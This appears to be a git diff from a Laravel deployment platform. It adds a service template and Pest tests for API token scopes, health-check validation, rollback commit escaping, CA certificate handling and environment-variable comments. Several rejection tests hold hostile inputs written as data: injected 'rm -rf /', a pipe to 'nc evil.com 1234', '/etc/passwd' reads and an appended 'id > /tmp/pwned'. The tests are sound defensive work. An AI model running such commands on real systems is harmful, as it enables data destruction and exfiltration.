+ "slogan": "High-performance large file sharing, native no-code automation, and a collaboration-centric architecture that simplifies access control without compromising security or compliance.",
+ "compose": "c2VydmljZXM6CiAgY2VsbHM6CiAgICBpbWFnZTogJ3B5ZGlvL2NlbGxzOjQuNCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9DRUxMU184MDgwCiAgICAgIC0gJ0NFTExTX1NJVEVfRVhURVJOQUw9JHtTRVJWSUNFX0ZRRE5fQ0VMTFN9JwogICAgICAtIENFTExTX1NJVEVfTk9fVExTPTEKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2NlbGxzX2RhdGE6L3Zhci9jZWxscycKICBtYXJpYWRiOgogICAgaW1hZ2U6ICdtYXJpYWRiOjExJwogICAgdm9sdW1lczoKICAgICAgLSAnbXlzcWxfZGF0YTovdmFyL2xpYi9teXNxbCcKICAgIGVudmlyb25tZW50OgogICAgICAtICdNWVNRTF9ST09UX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9NWVNRTFJPT1R9JwogICAgICAtICdNWVNRTF9EQVRBQkFTRT0ke01ZU1FMX0RBVEFCQVNFOi1jZWxsc30nCiAgICAgIC0gJ01ZU1FMX1VTRVI9JHtTRVJWSUNFX1VTRVJfTVlTUUx9JwogICAgICAtICdNWVNRTF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTVlTUUx9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGhlYWx0aGNoZWNrLnNoCiAgICAgICAgLSAnLS1jb25uZWN0JwogICAgICAgIC0gJy0taW5ub2RiX2luaXRpYWxpemVkJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiA1Cg==",
+ "tags": [
+ "storage"
+ ],
+ "category": null,
+ "logo": "svgs/cells.svg",
+ "minversion": "0.0.0",
+ "port": "8080"
}
}
diff --git a/tests/Feature/ApiTokenPermissionTest.php b/tests/Feature/ApiTokenPermissionTest.php
new file mode 100644
index 000000000..44efb7e06
--- /dev/null
+++ b/tests/Feature/ApiTokenPermissionTest.php
@@ -0,0 +1,75 @@
+team = Team::factory()->create();
+ $this->user = User::factory()->create();
+ $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+
+ session(['currentTeam' => $this->team]);
+});
+
+describe('POST /api/v1/projects', function () {
+ test('read-only token cannot create a project', function () {
+ $token = $this->user->createToken('read-only', ['read']);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$token->plainTextToken,
+ 'Content-Type' => 'application/json',
+ ])->postJson('/api/v1/projects', [
+ 'name' => 'Test Project',
+ ]);
+
+ $response->assertStatus(403);
+ });
+
+ test('write token can create a project', function () {
+ $token = $this->user->createToken('write-token', ['write']);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$token->plainTextToken,
+ 'Content-Type' => 'application/json',
+ ])->postJson('/api/v1/projects', [
+ 'name' => 'Test Project',
+ ]);
+
+ $response->assertStatus(201);
+ $response->assertJsonStructure(['uuid']);
+ });
+
+ test('root token can create a project', function () {
+ $token = $this->user->createToken('root-token', ['root']);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$token->plainTextToken,
+ 'Content-Type' => 'application/json',
+ ])->postJson('/api/v1/projects', [
+ 'name' => 'Test Project',
+ ]);
+
+ $response->assertStatus(201);
+ $response->assertJsonStructure(['uuid']);
+ });
+});
+
+describe('POST /api/v1/servers', function () {
+ test('read-only token cannot create a server', function () {
+ $token = $this->user->createToken('read-only', ['read']);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$token->plainTextToken,
+ 'Content-Type' => 'application/json',
+ ])->postJson('/api/v1/servers', [
+ 'name' => 'Test Server',
+ 'ip' => '1.2.3.4',
+ 'private_key_uuid' => 'fake-uuid',
+ ]);
+
+ $response->assertStatus(403);
+ });
+});
diff --git a/tests/Feature/ApplicationHealthCheckApiTest.php b/tests/Feature/ApplicationHealthCheckApiTest.php
new file mode 100644
index 000000000..8ccb7c639
--- /dev/null
+++ b/tests/Feature/ApplicationHealthCheckApiTest.php
@@ -0,0 +1,120 @@
+team = Team::factory()->create();
+ $this->user = User::factory()->create();
+ $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+
+ session(['currentTeam' => $this->team]);
+
+ $this->token = $this->user->createToken('test-token', ['*']);
+ $this->bearerToken = $this->token->plainTextToken;
+
+ $this->server = Server::factory()->create(['team_id' => $this->team->id]);
+
+ StandaloneDocker::withoutEvents(function () {
+ $this->destination = StandaloneDocker::firstOrCreate(
+ ['server_id' => $this->server->id, 'network' => 'coolify'],
+ ['uuid' => (string) new Cuid2, 'name' => 'test-docker']
+ );
+ });
+
+ $this->project = Project::create([
+ 'uuid' => (string) new Cuid2,
+ 'name' => 'test-project',
+ 'team_id' => $this->team->id,
+ ]);
+
+ // Project boot event auto-creates a 'production' environment
+ $this->environment = $this->project->environments()->first();
+
+ $this->application = Application::factory()->create([
+ 'environment_id' => $this->environment->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ ]);
+});
+
+function healthCheckAuthHeaders($bearerToken): array
+{
+ return [
+ 'Authorization' => 'Bearer '.$bearerToken,
+ 'Content-Type' => 'application/json',
+ ];
+}
+
+describe('PATCH /api/v1/applications/{uuid} health check fields', function () {
+ test('can update health_check_type to cmd with a command', function () {
+ $response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
+ ->patchJson("/api/v1/applications/{$this->application->uuid}", [
+ 'health_check_type' => 'cmd',
+ 'health_check_command' => 'pg_isready -U postgres',
+ ]);
+
+ $response->assertOk();
+
+ $this->application->refresh();
+ expect($this->application->health_check_type)->toBe('cmd');
+ expect($this->application->health_check_command)->toBe('pg_isready -U postgres');
+ });
+
+ test('can update health_check_type back to http', function () {
+ $this->application->update([
+ 'health_check_type' => 'cmd',
+ 'health_check_command' => 'redis-cli ping',
+ ]);
+
+ $response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
+ ->patchJson("/api/v1/applications/{$this->application->uuid}", [
+ 'health_check_type' => 'http',
+ 'health_check_command' => null,
+ ]);
+
+ $response->assertOk();
+
+ $this->application->refresh();
+ expect($this->application->health_check_type)->toBe('http');
+ expect($this->application->health_check_command)->toBeNull();
+ });
+
+ test('rejects invalid health_check_type', function () {
+ $response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
+ ->patchJson("/api/v1/applications/{$this->application->uuid}", [
+ 'health_check_type' => 'exec',
+ ]);
+
+ $response->assertStatus(422);
+ });
+
+ test('rejects health_check_command with shell operators', function () {
+ $response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
+ ->patchJson("/api/v1/applications/{$this->application->uuid}", [
+ 'health_check_type' => 'cmd',
+ 'health_check_command' => 'pg_isready; rm -rf /',
+ ]);
+
+ $response->assertStatus(422);
+ });
+
+ test('rejects health_check_command over 1000 characters', function () {
+ $response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
+ ->patchJson("/api/v1/applications/{$this->application->uuid}", [
+ 'health_check_type' => 'cmd',
+ 'health_check_command' => str_repeat('a', 1001),
+ ]);
+
+ $response->assertStatus(422);
+ });
+});
diff --git a/tests/Feature/ApplicationRollbackTest.php b/tests/Feature/ApplicationRollbackTest.php
new file mode 100644
index 000000000..f62ad6650
--- /dev/null
+++ b/tests/Feature/ApplicationRollbackTest.php
@@ -0,0 +1,88 @@
+application = new Application;
+ $this->application->forceFill([
+ 'uuid' => 'test-app-uuid',
+ 'git_commit_sha' => 'HEAD',
+ ]);
+
+ $settings = new ApplicationSetting;
+ $settings->is_git_shallow_clone_enabled = false;
+ $settings->is_git_submodules_enabled = false;
+ $settings->is_git_lfs_enabled = false;
+ $this->application->setRelation('settings', $settings);
+ });
+
+ test('setGitImportSettings uses passed commit instead of application git_commit_sha', function () {
+ $rollbackCommit = 'abc123def456abc123def456abc123def456abc1';
+
+ $result = $this->application->setGitImportSettings(
+ deployment_uuid: 'test-uuid',
+ git_clone_command: 'git clone',
+ public: true,
+ commit: $rollbackCommit
+ );
+
+ expect($result)->toContain($rollbackCommit);
+ });
+
+ test('setGitImportSettings with shallow clone fetches specific commit', function () {
+ $this->application->settings->is_git_shallow_clone_enabled = true;
+
+ $rollbackCommit = 'abc123def456abc123def456abc123def456abc1';
+
+ $result = $this->application->setGitImportSettings(
+ deployment_uuid: 'test-uuid',
+ git_clone_command: 'git clone',
+ public: true,
+ commit: $rollbackCommit
+ );
+
+ expect($result)
+ ->toContain('git fetch --depth=1 origin')
+ ->toContain($rollbackCommit);
+ });
+
+ test('setGitImportSettings falls back to git_commit_sha when no commit passed', function () {
+ $this->application->git_commit_sha = 'def789abc012def789abc012def789abc012def7';
+
+ $result = $this->application->setGitImportSettings(
+ deployment_uuid: 'test-uuid',
+ git_clone_command: 'git clone',
+ public: true,
+ );
+
+ expect($result)->toContain('def789abc012def789abc012def789abc012def7');
+ });
+
+ test('setGitImportSettings escapes shell metacharacters in commit parameter', function () {
+ $maliciousCommit = 'abc123; rm -rf /';
+
+ $result = $this->application->setGitImportSettings(
+ deployment_uuid: 'test-uuid',
+ git_clone_command: 'git clone',
+ public: true,
+ commit: $maliciousCommit
+ );
+
+ // escapeshellarg wraps the value in single quotes, neutralizing metacharacters
+ expect($result)
+ ->toContain("checkout 'abc123; rm -rf /'")
+ ->not->toContain('checkout abc123; rm -rf /');
+ });
+
+ test('setGitImportSettings does not append checkout when commit is HEAD', function () {
+ $result = $this->application->setGitImportSettings(
+ deployment_uuid: 'test-uuid',
+ git_clone_command: 'git clone',
+ public: true,
+ );
+
+ expect($result)->not->toContain('advice.detachedHead=false checkout');
+ });
+});
diff --git a/tests/Feature/CaCertificateCommandInjectionTest.php b/tests/Feature/CaCertificateCommandInjectionTest.php
new file mode 100644
index 000000000..fffa28d6a
--- /dev/null
+++ b/tests/Feature/CaCertificateCommandInjectionTest.php
@@ -0,0 +1,93 @@
+user = User::factory()->create();
+ $this->team = Team::factory()->create();
+ $this->user->teams()->attach($this->team, ['role' => 'owner']);
+ $this->actingAs($this->user);
+ session(['currentTeam' => $this->team]);
+
+ $this->server = Server::factory()->create([
+ 'team_id' => $this->team->id,
+ ]);
+});
+
+function generateSelfSignedCert(): string
+{
+ $key = openssl_pkey_new(['private_key_bits' => 2048]);
+ $csr = openssl_csr_new(['CN' => 'Test CA'], $key);
+ $cert = openssl_csr_sign($csr, null, $key, 365);
+ openssl_x509_export($cert, $certPem);
+
+ return $certPem;
+}
+
+test('saveCaCertificate sanitizes injected commands after certificate marker', function () {
+ $validCert = generateSelfSignedCert();
+
+ $caCert = SslCertificate::create([
+ 'server_id' => $this->server->id,
+ 'is_ca_certificate' => true,
+ 'ssl_certificate' => $validCert,
+ 'ssl_private_key' => 'test-key',
+ 'common_name' => 'Coolify CA Certificate',
+ 'valid_until' => now()->addYears(10),
+ ]);
+
+ // Inject shell command after valid certificate
+ $maliciousContent = $validCert."' ; id > /tmp/pwned ; echo '";
+
+ Livewire::test(Show::class, ['server_uuid' => $this->server->uuid])
+ ->set('certificateContent', $maliciousContent)
+ ->call('saveCaCertificate')
+ ->assertDispatched('success');
+
+ // After save, the certificate should be the clean re-exported PEM, not the malicious input
+ $caCert->refresh();
+ expect($caCert->ssl_certificate)->not->toContain('/tmp/pwned');
+ expect($caCert->ssl_certificate)->not->toContain('; id');
+ expect($caCert->ssl_certificate)->toContain('-----BEGIN CERTIFICATE-----');
+ expect($caCert->ssl_certificate)->toEndWith("-----END CERTIFICATE-----\n");
+});
+
+test('saveCaCertificate rejects completely invalid certificate', function () {
+ SslCertificate::create([
+ 'server_id' => $this->server->id,
+ 'is_ca_certificate' => true,
+ 'ssl_certificate' => 'placeholder',
+ 'ssl_private_key' => 'test-key',
+ 'common_name' => 'Coolify CA Certificate',
+ 'valid_until' => now()->addYears(10),
+ ]);
+
+ Livewire::test(Show::class, ['server_uuid' => $this->server->uuid])
+ ->set('certificateContent', "not-a-cert'; rm -rf /; echo '")
+ ->call('saveCaCertificate')
+ ->assertDispatched('error');
+});
+
+test('saveCaCertificate rejects empty certificate content', function () {
+ SslCertificate::create([
+ 'server_id' => $this->server->id,
+ 'is_ca_certificate' => true,
+ 'ssl_certificate' => 'placeholder',
+ 'ssl_private_key' => 'test-key',
+ 'common_name' => 'Coolify CA Certificate',
+ 'valid_until' => now()->addYears(10),
+ ]);
+
+ Livewire::test(Show::class, ['server_uuid' => $this->server->uuid])
+ ->set('certificateContent', '')
+ ->call('saveCaCertificate')
+ ->assertDispatched('error');
+});
diff --git a/tests/Feature/CleanupUnreachableServersTest.php b/tests/Feature/CleanupUnreachableServersTest.php
new file mode 100644
index 000000000..edfd0511c
--- /dev/null
+++ b/tests/Feature/CleanupUnreachableServersTest.php
@@ -0,0 +1,73 @@
+= 3 after 7 days', function () {
+ $team = Team::factory()->create();
+ $server = Server::factory()->create([
+ 'team_id' => $team->id,
+ 'unreachable_count' => 50,
+ 'unreachable_notification_sent' => true,
+ 'updated_at' => now()->subDays(8),
+ ]);
+
+ $this->artisan('cleanup:unreachable-servers')->assertSuccessful();
+
+ $server->refresh();
+ expect($server->ip)->toBe('1.2.3.4');
+});
+
+it('does not clean up servers with unreachable_count less than 3', function () {
+ $team = Team::factory()->create();
+ $server = Server::factory()->create([
+ 'team_id' => $team->id,
+ 'unreachable_count' => 2,
+ 'unreachable_notification_sent' => true,
+ 'updated_at' => now()->subDays(8),
+ ]);
+
+ $originalIp = $server->ip;
+
+ $this->artisan('cleanup:unreachable-servers')->assertSuccessful();
+
+ $server->refresh();
+ expect($server->ip)->toBe($originalIp);
+});
+
+it('does not clean up servers updated within 7 days', function () {
+ $team = Team::factory()->create();
+ $server = Server::factory()->create([
+ 'team_id' => $team->id,
+ 'unreachable_count' => 10,
+ 'unreachable_notification_sent' => true,
+ 'updated_at' => now()->subDays(3),
+ ]);
+
+ $originalIp = $server->ip;
+
+ $this->artisan('cleanup:unreachable-servers')->assertSuccessful();
+
+ $server->refresh();
+ expect($server->ip)->toBe($originalIp);
+});
+
+it('does not clean up servers without notification sent', function () {
+ $team = Team::factory()->create();
+ $server = Server::factory()->create([
+ 'team_id' => $team->id,
+ 'unreachable_count' => 10,
+ 'unreachable_notification_sent' => false,
+ 'updated_at' => now()->subDays(8),
+ ]);
+
+ $originalIp = $server->ip;
+
+ $this->artisan('cleanup:unreachable-servers')->assertSuccessful();
+
+ $server->refresh();
+ expect($server->ip)->toBe($originalIp);
+});
diff --git a/tests/Feature/CmdHealthCheckValidationTest.php b/tests/Feature/CmdHealthCheckValidationTest.php
new file mode 100644
index 000000000..038f3000e
--- /dev/null
+++ b/tests/Feature/CmdHealthCheckValidationTest.php
@@ -0,0 +1,90 @@
+ str_repeat('a', 1001)],
+ ['healthCheckCommand' => $commandRules]
+ );
+
+ expect($validator->fails())->toBeTrue();
+});
+
+it('accepts healthCheckCommand under 1000 characters', function () use ($commandRules) {
+ $validator = Validator::make(
+ ['healthCheckCommand' => 'pg_isready -U postgres'],
+ ['healthCheckCommand' => $commandRules]
+ );
+
+ expect($validator->fails())->toBeFalse();
+});
+
+it('accepts null healthCheckCommand', function () use ($commandRules) {
+ $validator = Validator::make(
+ ['healthCheckCommand' => null],
+ ['healthCheckCommand' => $commandRules]
+ );
+
+ expect($validator->fails())->toBeFalse();
+});
+
+it('accepts simple commands', function ($command) use ($commandRules) {
+ $validator = Validator::make(
+ ['healthCheckCommand' => $command],
+ ['healthCheckCommand' => $commandRules]
+ );
+
+ expect($validator->fails())->toBeFalse();
+})->with([
+ 'pg_isready -U postgres',
+ 'redis-cli ping',
+ 'curl -f http://localhost:8080/health',
+ 'wget -q -O- http://localhost/health',
+ 'mysqladmin ping -h 127.0.0.1',
+]);
+
+it('rejects commands with shell operators', function ($command) use ($commandRules) {
+ $validator = Validator::make(
+ ['healthCheckCommand' => $command],
+ ['healthCheckCommand' => $commandRules]
+ );
+
+ expect($validator->fails())->toBeTrue();
+})->with([
+ 'pg_isready; rm -rf /',
+ 'redis-cli ping | nc evil.com 1234',
+ 'curl http://localhost && curl http://evil.com',
+ 'echo $(whoami)',
+ 'cat /etc/passwd > /tmp/out',
+ 'curl `whoami`.evil.com',
+ 'cmd & background',
+ 'echo "hello"',
+ "echo 'hello'",
+ 'test < /etc/passwd',
+ 'bash -c {echo,pwned}',
+ 'curl http://evil.com#comment',
+ 'echo $HOME',
+ "cmd\twith\ttabs",
+ "cmd\nwith\nnewlines",
+]);
+
+it('rejects invalid healthCheckType', function () {
+ $validator = Validator::make(
+ ['healthCheckType' => 'exec'],
+ ['healthCheckType' => 'string|in:http,cmd']
+ );
+
+ expect($validator->fails())->toBeTrue();
+});
+
+it('accepts valid healthCheckType values', function ($type) {
+ $validator = Validator::make(
+ ['healthCheckType' => $type],
+ ['healthCheckType' => 'string|in:http,cmd']
+ );
+
+ expect($validator->fails())->toBeFalse();
+})->with(['http', 'cmd']);
diff --git a/tests/Feature/DockerCustomCommandsTest.php b/tests/Feature/DockerCustomCommandsTest.php
index 5d9dcd174..74bff2043 100644
--- a/tests/Feature/DockerCustomCommandsTest.php
+++ b/tests/Feature/DockerCustomCommandsTest.php
@@ -198,3 +198,20 @@
'entrypoint' => 'python -c "print(\"hi\")"',
]);
});
+
+test('ConvertIp6', function () {
+ $input = '--ip6 2001:db8::1';
+ $output = convertDockerRunToCompose($input);
+ expect($output)->toBe([
+ 'ip6' => ['2001:db8::1'],
+ ]);
+});
+
+test('ConvertIpAndIp6Together', function () {
+ $input = '--ip 172.20.0.5 --ip6 2001:db8::1';
+ $output = convertDockerRunToCompose($input);
+ expect($output)->toBe([
+ 'ip' => ['172.20.0.5'],
+ 'ip6' => ['2001:db8::1'],
+ ]);
+});
diff --git a/tests/Feature/DomainsByServerApiTest.php b/tests/Feature/DomainsByServerApiTest.php
new file mode 100644
index 000000000..1e799bec5
--- /dev/null
+++ b/tests/Feature/DomainsByServerApiTest.php
@@ -0,0 +1,80 @@
+team = Team::factory()->create();
+ $this->user = User::factory()->create();
+ $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+
+ $this->token = $this->user->createToken('test-token', ['*'], $this->team->id);
+ $this->bearerToken = $this->token->plainTextToken;
+
+ $this->server = Server::factory()->create(['team_id' => $this->team->id]);
+ $this->destination = StandaloneDocker::factory()->create(['server_id' => $this->server->id]);
+ $this->project = Project::factory()->create(['team_id' => $this->team->id]);
+ $this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
+});
+
+function authHeaders(): array
+{
+ return [
+ 'Authorization' => 'Bearer '.test()->bearerToken,
+ ];
+}
+
+test('returns domains for own team application via uuid query param', function () {
+ $application = Application::factory()->create([
+ 'fqdn' => 'https://my-app.example.com',
+ 'environment_id' => $this->environment->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ ]);
+
+ $response = $this->withHeaders(authHeaders())
+ ->getJson("/api/v1/servers/{$this->server->uuid}/domains?uuid={$application->uuid}");
+
+ $response->assertOk();
+ $response->assertJsonFragment(['my-app.example.com']);
+});
+
+test('returns 404 when application uuid belongs to another team', function () {
+ $otherTeam = Team::factory()->create();
+ $otherUser = User::factory()->create();
+ $otherTeam->members()->attach($otherUser->id, ['role' => 'owner']);
+
+ $otherServer = Server::factory()->create(['team_id' => $otherTeam->id]);
+ $otherDestination = StandaloneDocker::factory()->create(['server_id' => $otherServer->id]);
+ $otherProject = Project::factory()->create(['team_id' => $otherTeam->id]);
+ $otherEnvironment = Environment::factory()->create(['project_id' => $otherProject->id]);
+
+ $otherApplication = Application::factory()->create([
+ 'fqdn' => 'https://secret-app.internal.company.com',
+ 'environment_id' => $otherEnvironment->id,
+ 'destination_id' => $otherDestination->id,
+ 'destination_type' => $otherDestination->getMorphClass(),
+ ]);
+
+ $response = $this->withHeaders(authHeaders())
+ ->getJson("/api/v1/servers/{$this->server->uuid}/domains?uuid={$otherApplication->uuid}");
+
+ $response->assertNotFound();
+ $response->assertJson(['message' => 'Application not found.']);
+});
+
+test('returns 404 for nonexistent application uuid', function () {
+ $response = $this->withHeaders(authHeaders())
+ ->getJson("/api/v1/servers/{$this->server->uuid}/domains?uuid=nonexistent-uuid");
+
+ $response->assertNotFound();
+ $response->assertJson(['message' => 'Application not found.']);
+});
diff --git a/tests/Feature/EnvironmentVariableCommentTest.php b/tests/Feature/EnvironmentVariableCommentTest.php
new file mode 100644
index 000000000..e7f9a07fb
--- /dev/null
+++ b/tests/Feature/EnvironmentVariableCommentTest.php
@@ -0,0 +1,283 @@
+user = User::factory()->create();
+ $this->team = Team::factory()->create();
+ $this->team->members()->attach($this->user, ['role' => 'owner']);
+ $this->application = Application::factory()->create([
+ 'team_id' => $this->team->id,
+ ]);
+
+ $this->actingAs($this->user);
+});
+
+test('environment variable can be created with comment', function () {
+ $env = EnvironmentVariable::create([
+ 'key' => 'TEST_VAR',
+ 'value' => 'test_value',
+ 'comment' => 'This is a test environment variable',
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ expect($env->comment)->toBe('This is a test environment variable');
+ expect($env->key)->toBe('TEST_VAR');
+ expect($env->value)->toBe('test_value');
+});
+
+test('environment variable comment is optional', function () {
+ $env = EnvironmentVariable::create([
+ 'key' => 'TEST_VAR',
+ 'value' => 'test_value',
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ expect($env->comment)->toBeNull();
+ expect($env->key)->toBe('TEST_VAR');
+});
+
+test('environment variable comment can be updated', function () {
+ $env = EnvironmentVariable::create([
+ 'key' => 'TEST_VAR',
+ 'value' => 'test_value',
+ 'comment' => 'Initial comment',
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ $env->comment = 'Updated comment';
+ $env->save();
+
+ $env->refresh();
+ expect($env->comment)->toBe('Updated comment');
+});
+
+test('environment variable comment is preserved when updating value', function () {
+ $env = EnvironmentVariable::create([
+ 'key' => 'TEST_VAR',
+ 'value' => 'initial_value',
+ 'comment' => 'Important variable for testing',
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ $env->value = 'new_value';
+ $env->save();
+
+ $env->refresh();
+ expect($env->value)->toBe('new_value');
+ expect($env->comment)->toBe('Important variable for testing');
+});
+
+test('environment variable comment is copied to preview environment', function () {
+ $env = EnvironmentVariable::create([
+ 'key' => 'TEST_VAR',
+ 'value' => 'test_value',
+ 'comment' => 'Test comment',
+ 'is_preview' => false,
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ // The model's created() event listener automatically creates a preview version
+ $previewEnv = EnvironmentVariable::where('key', 'TEST_VAR')
+ ->where('resourceable_id', $this->application->id)
+ ->where('is_preview', true)
+ ->first();
+
+ expect($previewEnv)->not->toBeNull();
+ expect($previewEnv->comment)->toBe('Test comment');
+});
+
+test('parseEnvFormatToArray preserves values without inline comments', function () {
+ $input = "KEY1=value1\nKEY2=value2";
+ $result = parseEnvFormatToArray($input);
+
+ expect($result)->toBe([
+ 'KEY1' => ['value' => 'value1', 'comment' => null],
+ 'KEY2' => ['value' => 'value2', 'comment' => null],
+ ]);
+});
+
+test('developer view format does not break with comment-like values', function () {
+ // Values that contain # but shouldn't be treated as comments when quoted
+ $env1 = EnvironmentVariable::create([
+ 'key' => 'HASH_VAR',
+ 'value' => 'value_with_#_in_it',
+ 'comment' => 'Contains hash symbol',
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ expect($env1->value)->toBe('value_with_#_in_it');
+ expect($env1->comment)->toBe('Contains hash symbol');
+});
+
+test('environment variable comment can store up to 256 characters', function () {
+ $comment = str_repeat('a', 256);
+ $env = EnvironmentVariable::create([
+ 'key' => 'TEST_VAR',
+ 'value' => 'test_value',
+ 'comment' => $comment,
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ expect($env->comment)->toBe($comment);
+ expect(strlen($env->comment))->toBe(256);
+});
+
+test('environment variable comment cannot exceed 256 characters via Livewire', function () {
+ $env = EnvironmentVariable::create([
+ 'key' => 'TEST_VAR',
+ 'value' => 'test_value',
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ $longComment = str_repeat('a', 257);
+
+ Livewire::test(\App\Livewire\Project\Shared\EnvironmentVariable\Show::class, ['env' => $env, 'type' => 'application'])
+ ->set('comment', $longComment)
+ ->call('submit')
+ ->assertHasErrors(['comment' => 'max']);
+});
+
+test('bulk update preserves existing comments when no inline comment provided', function () {
+ // Create existing variable with a manually-entered comment
+ $env = EnvironmentVariable::create([
+ 'key' => 'DATABASE_URL',
+ 'value' => 'postgres://old-host',
+ 'comment' => 'Production database',
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ // User switches to Developer view and pastes new value without inline comment
+ $bulkContent = "DATABASE_URL=postgres://new-host\nOTHER_VAR=value";
+
+ Livewire::test(\App\Livewire\Project\Shared\EnvironmentVariable\All::class, [
+ 'resource' => $this->application,
+ 'type' => 'application',
+ ])
+ ->set('variables', $bulkContent)
+ ->call('submit');
+
+ // Refresh the environment variable
+ $env->refresh();
+
+ // The value should be updated
+ expect($env->value)->toBe('postgres://new-host');
+
+ // The manually-entered comment should be PRESERVED
+ expect($env->comment)->toBe('Production database');
+});
+
+test('bulk update overwrites existing comments when inline comment provided', function () {
+ // Create existing variable with a comment
+ $env = EnvironmentVariable::create([
+ 'key' => 'API_KEY',
+ 'value' => 'old-key',
+ 'comment' => 'Old comment',
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ // User pastes new value WITH inline comment
+ $bulkContent = 'API_KEY=new-key #Updated production key';
+
+ Livewire::test(\App\Livewire\Project\Shared\EnvironmentVariable\All::class, [
+ 'resource' => $this->application,
+ 'type' => 'application',
+ ])
+ ->set('variables', $bulkContent)
+ ->call('submit');
+
+ // Refresh the environment variable
+ $env->refresh();
+
+ // The value should be updated
+ expect($env->value)->toBe('new-key');
+
+ // The comment should be OVERWRITTEN with the inline comment
+ expect($env->comment)->toBe('Updated production key');
+});
+
+test('bulk update handles mixed inline and stored comments correctly', function () {
+ // Create two variables with comments
+ $env1 = EnvironmentVariable::create([
+ 'key' => 'VAR_WITH_COMMENT',
+ 'value' => 'value1',
+ 'comment' => 'Existing comment 1',
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ $env2 = EnvironmentVariable::create([
+ 'key' => 'VAR_WITHOUT_COMMENT',
+ 'value' => 'value2',
+ 'comment' => 'Existing comment 2',
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ]);
+
+ // Bulk paste: one with inline comment, one without
+ $bulkContent = "VAR_WITH_COMMENT=new_value1 #New inline comment\nVAR_WITHOUT_COMMENT=new_value2";
+
+ Livewire::test(\App\Livewire\Project\Shared\EnvironmentVariable\All::class, [
+ 'resource' => $this->application,
+ 'type' => 'application',
+ ])
+ ->set('variables', $bulkContent)
+ ->call('submit');
+
+ // Refresh both variables
+ $env1->refresh();
+ $env2->refresh();
+
+ // First variable: comment should be overwritten with inline comment
+ expect($env1->value)->toBe('new_value1');
+ expect($env1->comment)->toBe('New inline comment');
+
+ // Second variable: comment should be preserved
+ expect($env2->value)->toBe('new_value2');
+ expect($env2->comment)->toBe('Existing comment 2');
+});
+
+test('bulk update creates new variables with inline comments', function () {
+ // Bulk paste creates new variables, some with inline comments
+ $bulkContent = "NEW_VAR1=value1 #Comment for var1\nNEW_VAR2=value2\nNEW_VAR3=value3 #Comment for var3";
+
+ Livewire::test(\App\Livewire\Project\Shared\EnvironmentVariable\All::class, [
+ 'resource' => $this->application,
+ 'type' => 'application',
+ ])
+ ->set('variables', $bulkContent)
+ ->call('submit');
+
+ // Check that variables were created with correct comments
+ $var1 = EnvironmentVariable::where('key', 'NEW_VAR1')
+ ->where('resourceable_id', $this->application->id)
+ ->first();
+ $var2 = EnvironmentVariable::where('key', 'NEW_VAR2')
+ ->where('resourceable_id', $this->application->id)
+ ->first();
+ $var3 = EnvironmentVariable::where('key', 'NEW_VAR3')
+ ->where('resourceable_id', $this->application->id)
+ ->first();
+
+ expect($var1->value)->toBe('value1');
+ expect($var1->comment)->toBe('Comment for var1');
+
+ expect($var2->value)->toBe('value2');
+ expect($var2->comment)->toBeNull();
+
+ expect($var3->value)->toBe('value3');
+ expect($var3->comment)->toBe('Comment for var3');
+});
diff --git a/tests/Feature/EnvironmentVariableMassAssignmentTest.php b/tests/Feature/EnvironmentVariableMassAssignmentTest.php
new file mode 100644
index 000000000..f2650fdc7
--- /dev/null
+++ b/tests/Feature/EnvironmentVariableMassAssignmentTest.php
@@ -0,0 +1,217 @@
+user = User::factory()->create();
+ $this->team = Team::factory()->create();
+ $this->team->members()->attach($this->user, ['role' => 'owner']);
+ $this->application = Application::factory()->create();
+
+ $this->actingAs($this->user);
+});
+
+test('all fillable fields can be mass assigned', function () {
+ $data = [
+ 'key' => 'TEST_KEY',
+ 'value' => 'test_value',
+ 'comment' => 'Test comment',
+ 'is_literal' => true,
+ 'is_multiline' => true,
+ 'is_preview' => false,
+ 'is_runtime' => true,
+ 'is_buildtime' => false,
+ 'is_shown_once' => false,
+ 'resourceable_type' => Application::class,
+ 'resourceable_id' => $this->application->id,
+ ];
+
+ $env = EnvironmentVariable::create($data);
+
+ expect($env->key)->toBe('TEST_KEY');
